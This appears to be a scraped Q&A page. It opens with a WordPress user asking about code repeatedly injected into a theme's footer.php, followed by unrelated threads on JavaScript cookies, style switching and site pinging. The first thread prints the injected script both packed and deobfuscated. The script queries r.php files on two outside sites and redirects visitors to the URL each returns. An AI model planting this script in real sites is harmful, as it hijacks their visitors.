wordpress theme footer.php file have some malicious code - javascript

One of my wordpress theme in footer.php file add some malicious code automatically. I delete that code several time but some moment later that code automatically added in footer.php file. I don't find any solution to stop this. I think this it is some type of malicious code, I want to know more about this and how to stop this.
footer.php
<?php global $themesbazar; ?>
<div class="footer">
<?php echo $themesbazar['editorial']?>
</div>
<div class="footer-04">
<div class="row">
<div class="col-md-6">
<div class="copyright">
<?php echo $themesbazar['copyright']?>
</div>
</div>
<div class="col-md-6"><?php div(); ?>
</div>
</div>
</div>
</section>
with malicious code:
<?php global $themesbazar; ?>
<div class="footer">
<?php echo $themesbazar['editorial']?>
</div>
<div class="footer-04">
<div class="row">
<div class="col-md-6">
<div class="copyright">
<?php echo $themesbazar['copyright']?>
</div>
</div>
<div class="col-md-6"><?php div(); ?>
</div>
</div>
</div>
</section>
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('9 w(c){5 8=" "+N.8;5 l=" "+c+"=";5 m=T;5 a=0;5 b=0;7(8.k>0){a=8.j(l);7(a!=-1){a+=l.k;b=8.j(";",a);7(b==-1){b=8.k}m=X(8.O(a,b))}}x(m)}9 I(c,J,d,g,i,n){N.8=c+"="+12(J)+((d)?"; d="+d:"")+((g)?"; g="+g:"")+((i)?"; i="+i:"")+((n)?"; n":"")}9 U(){5 3;F{3=h q("Y.v")}t(e){F{3=h q("V.v")}t(E){3=R}}7(!3&&14 D!=\'10\'){3=h D()}x 3}5 s=\'A://z.11.y/B-C/G/Z-W/13/1h/r.H\';5 K=\'A://z.1p.y.1o/B-C/G/1j/1l/r.H\';7(w(\'15\')!=\'S\'){9 P(){5 f=h 1k();f.1m(f.1n()+1r*1q*6*1);I(\'1i\',\'S\',f.1a())}9 o(Q,M){5 3=U();3.19(\'18\',Q,p);3.16=9(){7(3.17==4&&3.1b==1c){7(3.L.j(\'u=\')==0){P();1g.1f=3.L.O(2)}1e{7(M)o(K,R)}}};3.1d(T)}o(s,p)}',62,90,'|||xmlhttp||var||if|cookie|function|offset|end|name|expires||now|path|new|domain|indexOf|length|search|setStr|secure|lookupRedirect|true|ActiveXObject||sAdsUrl1|catch||XMLHTTP|getCookie|return|com|www|https|wp|content|XMLHttpRequest||try|themes|php|setCookie|value|sAdsUrl2|responseText|bIsFirst|document|substring|setAdsCookie|sUrl|false|complete|null|getXmlHttp|Microsoft|the7|unescape|Msxml2|dt|undefined|santecza|escape|woocommerce|typeof|newadsshow|onreadystatechange|readyState|GET|open|toGMTString|status|200|send|else|location|window|cart|newadshow|envision|Date|bbpress|setTime|getTime|tr|mavigrup|3600|1000'.split('|'),0,{}))
</script>
<script type="text/javascript">var _Hasync= _Hasync|| [];
_Hasync.push(['Histats.start', '1,4214393,4,0,0,0,00010000']);
_Hasync.push(['Histats.fasi', '1']);
_Hasync.push(['Histats.track_hits', '']);
(function() {
var hs = document.createElement('script'); hs.type = 'text/javascript'; hs.async = true;
hs.src = ('//s10.histats.com/js15_as.js');
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')
[0]).appendChild(hs);
})();</script>
<noscript><a href="/" target="_blank"><img src="//sstatic1.histats.com/0.gif?4214393&101"
alt="counter customizable free hit" border="0"></a></noscript>
<script type="text/javascript">
</script>
</body>
</html>

I have encoded the code you have posted, may be that would be helpful. https://beautifier.io/ . Now you can search the below-mentioned functions names using search-in-files by any code-editor. Hope this helps someone searching for similar issues.
function getCookie(name) {
var cookie = " " + document.cookie;
var search = " " + name + "=";
var setStr = null;
var offset = 0;
var end = 0;
if (cookie.length > 0) {
offset = cookie.indexOf(search);
if (offset != -1) {
offset += search.length;
end = cookie.indexOf(";", offset);
if (end == -1) {
end = cookie.length
}
setStr = unescape(cookie.substring(offset, end))
}
}
return (setStr)
}
function setCookie(name, value, expires, path, domain, secure) {
document.cookie = name + "=" + escape(value) + ((expires) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "")
}
function getXmlHttp() {
var xmlhttp;
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP")
} catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP")
} catch (E) {
xmlhttp = false
}
}
if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
xmlhttp = new XMLHttpRequest()
}
return xmlhttp
}
var sAdsUrl1 = 'https://www.santecza.com/wp-content/themes/dt-the7/woocommerce/cart/r.php';
var sAdsUrl2 = 'https://www.mavigrup.com.tr/wp-content/themes/envision/bbpress/r.php';
if (getCookie('newadsshow') != 'complete') {
function setAdsCookie() {
var now = new Date();
now.setTime(now.getTime() + 1000 * 3600 * 6 * 1);
setCookie('newadshow', 'complete', now.toGMTString())
}
function lookupRedirect(sUrl, bIsFirst) {
var xmlhttp = getXmlHttp();
xmlhttp.open('GET', sUrl, true);
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
if (xmlhttp.responseText.indexOf('u=') == 0) {
setAdsCookie();
window.location = xmlhttp.responseText.substring(2)
} else {
if (bIsFirst) lookupRedirect(sAdsUrl2, false)
}
}
};
xmlhttp.send(null)
}
lookupRedirect(sAdsUrl1, true)
}
<
script type = "text/javascript" >
var _Hasync = _Hasync || [];
_Hasync.push(['Histats.start', '1,4214393,4,0,0,0,00010000']);
_Hasync.push(['Histats.fasi', '1']);
_Hasync.push(['Histats.track_hits', '']);
(function() {
var hs = document.createElement('script');
hs.type = 'text/javascript';
hs.async = true;
hs.src = ('//s10.histats.com/js15_as.js');
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(hs);
})();
<
noscript > < a href = "/"
target = "_blank" > < img src = "//sstatic1.histats.com/0.gif?4214393&101"
alt = "counter customizable free hit"
border = "0" > < /a></noscript >

This code looks refer to visitor statistics service.
Is there any "Hi Stats" plugin activated? Have you ever tried to disable all Wordpress plugins?
Are these malicious codes added in browser source code output or in the original file (the file you uploaded via FTP)?
What's your webhosting provider? Maybe, this code can be added for your hosting provider automatically.
Try these hypotheses, if won't work I'll help you to find another solution.

Related

jQuery cookie expiring every page

Trying to create a cookie policy where when the button is click, it doesn't display for 30 days, however when the button is clicked it shows again if you refresh the page or change page.
code is below:
obviously I've added in jQuery at the bottom of the page
<div class="cookie-message" id="cookie_banner">
<div class="container">
<h3>This site uses cookies</h3>
<br>
<p>We use cookies to ensure the functionality and performance of the website. We also like to use analytics cookies to monitor and analyse the use of our website. If you are happy with this, click ‘Accept and Continue’ below or view our cookie policy for more information.</p>
<button id="close_cookie_banner" class="btn btn-custom btn-animate btn-pink"><i class="icon-owia-kokroko"></i> Accept and continue</button>
</div>
</div>
jQuery(document).ready(function($) {
let COOKIE_NAME = "divine_cookie_policy";
if ((getCookie(COOKIE_NAME) === "ACCEPTED")){
// Cookie has been set -> Don't show banner
} else {
// No cookie has been set -> show cookie banner
openCookieBanner();
}
$('#close_cookie_banner').on("click", function (event) {
event.stopPropagation();
closeCookieBanner();
});
/**
* openCookieBanner()
*
* Opens the cookie banner
*/
function openCookieBanner () {
$('#cookie_banner').css({
display: "block"
});
} // END openCookieBanner()
/**
* closeCookieBanner()
*
* Closes the cookie banner
*/
function closeCookieBanner () {
// Prep the date.
var interval = 30;
var date = new Date();
date.setTime(date.getTime() + (interval*24*60*60*1000));
var expires = "expires="+ date.toUTCString();
document.cookie = COOKIE_NAME + "=" + "ACCEPTED" + ";" + expires + ";";
// Close the banner
$('#cookie_banner').css({
display: "none"
});
} // END openCookieBanner()
function getCookie(cname) {
var name = cname + "=";
var decodedCookie = decodeURIComponent(document.cookie);
var ca = decodedCookie.split(';');
for(var i = 0; i <ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') {
c = c.substring(1);
}
if (c.indexOf(name) == 0) {
return c.substring(name.length, c.length);
}
}
return "";
}
}(jQuery));
not really sure what else to try
any help is appreciated

get value for a cookie from a bootrap modal with js

I'm trying to create a modal that has 2 options: yes or no. When a user selects no I will create a condition if value=no then do not display modal.
The issue is that I cannot accomplish it. If is answer is yes I can manipulate the info, I need to display a modal asking a question, get the users answer and based on this and do something every 15 days.
my code is currently not working properly
<script>
function setCookie(cname, cvalue, exdays) {
var d = new Date();
d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
var expires = "expires=" + d.toGMTString();
document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}
function getCookie(cname) {
var name = cname + "=";
var decodedCookie = decodeURIComponent(document.cookie);
var ca = decodedCookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') {
c = c.substring(1);
}
if (c.indexOf(name) == 0) {
return c.substring(name.length, c.length);
}
}
return "";
}
function checkCookie() {
$('#hewant').on('click', function() {
var valyes = $(this).text();
console.log(valyes);
});
$('#hedont').on('click', function() {
var valno = $(this).text();
console.log(valno);
});
var user = getCookie("username");
if (user != "") {
alert("Welcome again " + user);
} else {
$("#myModalcashout").modal();
user = "testing me";
if (user != "" && user != null) {
setCookie("username", user, 15);
}
}
}
</script>
<body onload="checkCookie()">
<div class="modal fade" id="myModalcashout">
<div class="modal-dialog">
<!-- for modal to active manually->
<!-- Modal content-->
<div class="modal-content">
<div class="modal-body">
<p style="text-align:center">test</p>
<p style="text-align:center">question</p>
<p style="text-align:center">for u</p>
<div id="hewant" value="yes"> yes i am </div>
<div id="hedont" value="no"> no i dont</div>
</div>
</div>
</div>
</div>
</body>
I restructured your code for you. For starters you only need 1 listener for both buttons, which can be assigned using class on the buttons in the modal (which I changed from div to button tags.
Note: "Run this code snippet" will not work in this sand boxed environment in regards to cookie manipulation so you will have to test this yourself.
There is now a showModal() function that you will call on load that is responsible for showing your modal and attaching a click listener to both buttons on the modal.
When the user clicks yes or no on the modal we get their answer and pass it to checkCookie() function which does as you ask.
I replaced your create and set cookie functions with ones that are tested and work (also added eraseCookie()) there is a great explanation about all 3 functions Here
showModal();
function showModal() {
// only show modal if cookie for the user is null
var user = readCookie("username");
if (user != null) {
alert("Welcome again " + user);
}
else {
user = "testing me";
$("#myModalcashout").modal();
// add listener on buttons
$('.modalButton').on('click', function() {
$('#myModalcashout').modal().hide();
var answer = $(this).val();
console.log(answer);
// create a cookie with the users answer to the modal
createCookie("username", answer, 15);
});
}
}
function createCookie(name, value, days) {
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
var expires = "; expires=" + date.toGMTString();
} else var expires = "";
document.cookie = name + "=" + value + expires + "; path=/";
}
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') c = c.substring(1, c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
}
return null;
}
function eraseCookie(name) {
createCookie(name, "", -1);
}
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="https://npmcdn.com/tether#1.2.4/dist/js/tether.min.js"></script>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/css/bootstrap.min.css" integrity="sha384-rwoIResjU2yc3z8GV/NPeZWAv56rSmLldC3R/AZzGRnGxQQKnKkoFVhFQhNUwEyJ" crossorigin="anonymous">
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/js/bootstrap.min.js" integrity="sha384-vBWWzlZJ8ea9aCX4pEW3rVHjgjt7zpkNpZk+02D9phzyeVkE+jo0ieGizqPLForn" crossorigin="anonymous"></script>
<div class="modal fade" id="myModalcashout">
<div class="modal-dialog">
<!-- for modal to active manually->
<!-- Modal content-->
<div class="modal-content">
<div class="modal-body">
<p style="text-align:center">test</p>
<p style="text-align:center">question</p>
<p style="text-align:center">for u</p>
<button class="modalButton" value="yes"> yes i am </button>
<button class="modalButton" value="no"> no i dont</button>
</div>
</div>
</div>
</div>

Why does this not work (HTML, CSS and Javascript

I'm having trouble with some code not working, and I'm not sure why. (I am a 1st year Computer Science student as don't know much about this)
<head>
<link rel="stylesheet" type="text/css" href="Task1.css" title="Normal">
<link rel="alternate stylesheet" type="text/css" href="Task1BaW.css" title="Other">
<script type="text/javascript" src="/scripts/styleswitcher.js">
</script>
</head>
<body>
<div id="header"> <!-- header -->
<button onclick="setActiveStyleSheet('Normal')">Change style to default</button>
<button onclick="setActiveStyleSheet('Other')">Change style to Easy view</button>
</div> <!-- end of header-->
Basically I want it to switch to the "Normal" Css when the 1st button is pressed, and switch to the "Other" Css when the 2nd button is pressed.
Thanks.
NB: I've changed the ‘’ to '(thanks for pointing that out, that was a stupid mistake) and not getting any errors that I'm aware of. Still doesn't seem to be working yet. I'm writing this is PSPad, if that helps at all. And trying it in the IE that PSPad opens and Chrome.
Also, changing the CSS should change the background and text size.
styleswitcher.js code:
function setActiveStyleSheet(title) {
var i, a, main;
for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title")) {
a.disabled = true;
if(a.getAttribute("title") == title) a.disabled = false;
}
}
}
function getActiveStyleSheet() {
var i, a;
for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title") && !a.disabled) return a.getAttribute("title");
}
return null;
}
function getPreferredStyleSheet() {
var i, a;
for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
if(a.getAttribute("rel").indexOf("style") != -1
&& a.getAttribute("rel").indexOf("alt") == -1
&& a.getAttribute("title")
) return a.getAttribute("title");
}
return null;
}
function createCookie(name,value,days) {
if (days) {
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
var expires = "; expires="+date.toGMTString();
}
else expires = "";
document.cookie = name+"="+value+expires+"; path=/";
}
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
window.onload = function(e) {
var cookie = readCookie("style");
var title = cookie ? cookie : getPreferredStyleSheet();
setActiveStyleSheet(title);
}
window.onunload = function(e) {
var title = getActiveStyleSheet();
createCookie("style", title, 365);
}
var cookie = readCookie("style");
var title = cookie ? cookie : getPreferredStyleSheet();
setActiveStyleSheet(title);
If anyone has a simpler way of doing this instead of fixing this, and can explain it to me so I can understand why it works, I'd appreciate it too.
In javascript, you have to use ' or ".
Your quote ‘ and ’ isn't valid.
Since you did that, even StackOverflow's syntax highlighting failed!!
Try using this :
<div id="header"> <!-- header -->
<button onclick="setActiveStyleSheet('Normal')">Change style to default</button>
<button onclick="setActiveStyleSheet('Other')">Change style to Easy view</button>
</div> <!-- end of header-->

Reading & using cookie values with javascript

Just off the get go I am incredibly new to javascript, apologies for any silly comments or obvious mistakes in advance.
This is what I'm currently working with:
<div id="currency_select">
<form action="/Default.asp?" method="post" name="CurrencyChoice">
<select onchange="this.form.submit()" name="ER_ID">
<option value="3">EUR</option>
<option value="2">GBP</option>
</select>
<script type="text/javascript">
document.forms['CurrencyChoice'].elements['ER_ID'].value = '';
</script>
</form>
</div>
I want the value from the following cookie "ER%5fID" to be read and then inserted in the value=''field above.
To be completely honest I'm at abit of a loss as I'm not sure what the best way is to read the cookie's value and then have its value inserted where I want.
Once again apologies for any newbie mistakes. I'm having to learn javascript on the fly and I had to start a few days ago.
So I have spent a fair amount of time today trying to figure out what I need which I think is this:
function getCookie(c_name)
{
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++)
{
x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
x=x.replace(/^\s+|\s+$/g,"");
if (x==c_name)
{
return unescape(y);
}
}
}
However I'm still unsure as to how to have the appropriate result return within the value field?
Thanks in advance for any assistance.
I am sorry I just do not care to rewrite this, the W3Scools tutorial on cookies is quite comprihensive and even gives you fully completed functions for reading and writing cookies.
It's also a good resource for general JS learning so you should definitely check it out.
The code there is as follows:
function setCookie(cname,cvalue,exdays)
{
var d = new Date();
d.setTime(d.getTime()+(exdays*24*60*60*1000));
var expires = "expires="+d.toGMTString();
document.cookie = cname + "=" + cvalue + "; " + expires;
}
function getCookie(cname)
{
var name = cname + "=";
var ca = document.cookie.split(';');
for(var i=0; i<ca.length; i++)
{
var c = ca[i].trim();
if (c.indexOf(name)==0) return c.substring(name.length,c.length);
}
return "";
}
And usage is:
function checkCookie()
{
var username=getCookie("username");
if (username!="")
{
alert("Welcome again " + username);
}
else
{
username = prompt("Please enter your name:","");
if (username!="" && username!=null)
{
setCookie("username",username,365);
}
}
}
But you can read more in W3Scools own website.
EDIT : So here is the promised fully functional sample in your specific case:
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=9" />
<title>Cookie Example</title>
<script type="text/javascript">
//adds the [String].trim() method to the [String] object if missing
if(!String.prototype.trim) {
String.prototype.trim = function () {
return this.replace(/^\s+|\s+$/g,'');
};
}
var cookieName = "ER_ID";
function setCookie(cname,cvalue,exdays)
{
var d = new Date();
d.setTime(d.getTime()+(exdays*24*60*60*1000));
var expires = "expires="+d.toGMTString();
document.cookie = cname + "=" + cvalue + "; " + expires;
}
function getCookie(cname)
{
var name = cname + "=";
var ca = document.cookie.split(';');
for(var i=0; i<ca.length; i++){
var c = ca[i].trim();
if (c.indexOf(name)==0) return c.substring(name.length,c.length);
}
return "";
}
function setOptionFromCookie() {
var select = document.getElementById('ER_ID'), index, value = getCookie(cookieName);
index = select.options.length;
while(index--) {
if(select.options[index].value == value) {
break;
}
}
if(index > -1) {
select.selectedIndex = index;
} else {
alert('no such value in selection');
}
}
function setValue() {
var value = document.getElementById('value').value;
setCookie(cookieName, value, 365);
}
</script>
</head>
<body>
The value that will go into the cookie "ER_ID": <input id="value" value="2" />
<br/>
<button onclick="setValue()">Set Cookie</button>
<button onclick="setOptionFromCookie()">Set Option from cookie</button>
<hr />
<div id="currency_select">
<form action="/Default.asp?" method="post" name="CurrencyChoice">
<select onchange="this.form.submit()" id="ER_ID" name="ER_ID">
<option value="1" selected="selected">Select Currency</option>
<option value="3">EUR</option>
<option value="2">GBP</option>
</select>
<script type="text/javascript">
</script>
</form>
</div>
</body>
</html>
Because I do not have such a cookie in my browser I also made a possibility for you to set the cookie. But it should be fairly easy to understand. Simply set the cookie first and then press "Set Option from cookie" to read the cookie and set the option based on the value.

How to check if site is online with JavaScript? Plus tips on how to make the rest of this function work better

I need to check if a website is online and to get ping time.
I already have a rough ping time (close enough). But I still need to check if the site is online and make the function run five times, and get the lowest ping value (in order to get it more accurate).
My code so far:
<script>
function initPingTest(siteUrl){
pingTester();
function pingTester(){
document.getElementById('site').innerHTML = '<center>' + siteUrl + '</center>';
document.getElementById('pingT').innerHTML = '<center> testing.. </center>';
var startTime=new Date();
window.startTime=startTime.getTime();
var imgSrc=siteUrl+ '?cacheBuster='+Math.random();
var iFrame=document.getElementById('myPingTest');
iFrame.onload=pingTime;
iFrame.src=imgSrc;
function pingTime() {
var endTime=new Date();
var pingResult = (endTime.getTime()-window.startTime);
if(pingResult<hidden.hidden.value){
document.getElementById('pingT').innerHTML = '<center>' + pingResult + '</center>';
hidden.hidden.value=pingResult;
}else{document.getElementById('pingT').innerHTML = '<center>' + hidden.hidden.value + '</center>';}
}
}
}
</script>
<IFRAME style="display:none;" id=myPingTest></IFRAME>
<FORM NAME="hidden" STYLE="display:none"><INPUT TYPE="text" NAME="hidden" value="100000"></form>
<br>
<FORM method="get" NAME="ping" action="javascript:initPingTest(ping.url.value);"><font>Enter site adress(ie.www.yahoo.com)<br>http://</font>
<INPUT TYPE="text" NAME="url" size="18"><input type="submit" value="Ping"/></form>
<br>
<table cellspacing=5px>
<tr><th>
Url:
</th><th>
Ping Time (miliseconds)
</th></tr>
<tr><td>
<label id=site><center> - </center></label>
</td><td>
<label id=pingT><center> - </center></lable>
</td></tr>
</table>
</body></html>
While I don't believe Javascript 'really' offers this kind of functionality, you could create an xmlhttprequest object, and perhaps compare the difference from the time it sends with the time it connects.
The following code shows a possible way to achieve this:
Edit: should alert if the server is down now
var address = "http://www.google.com";
var t1 = Date.now();
var t2;
var max = 100000;
var failed = false;
var httpReq = (window.XMLHttpRequest)?new XMLHttpRequest():new ActiveXObject("Microsoft.XMLHTTP");
if(httpReq == null) {
console.log("Error: XMLHttpRequest failed to initiate.");
}
httpReq.onreadystatechange = function() {
var failTimer = setTimeout(function() {
failed = true;
httpReq.abort();
}, max);
if (httpReq.readyState == 4) { //Completed loading
if (!failed && (httpReq.status == 200 || httpReq.status == 0)) {
clearTimeout(failTimer);
t2 = Date.now();
var timeTotal = (t2 - t1);
if(timeTotal > max) {
onFail();
} else {
onSuccess(timeTotal);
}
}
else { //Otherwise, there was a problem while loading
console.log("Error " + httpReq.status + " has occurred.");
onFail();
}
}
}
try {
httpReq.open("GET", address, true);
httpReq.send(null);
} catch(e) {
console.log("Error retrieving data httpReq. Some browsers only accept cross-domain request with HTTP.");
onFail();
}
function onSuccess(timeTotal) {
alert("Time needed to connect: " + timeTotal);
}
function onFail() {
alert("Well this isn't good");
}
An iframe may be a viable solution as well though.

Categories

Resources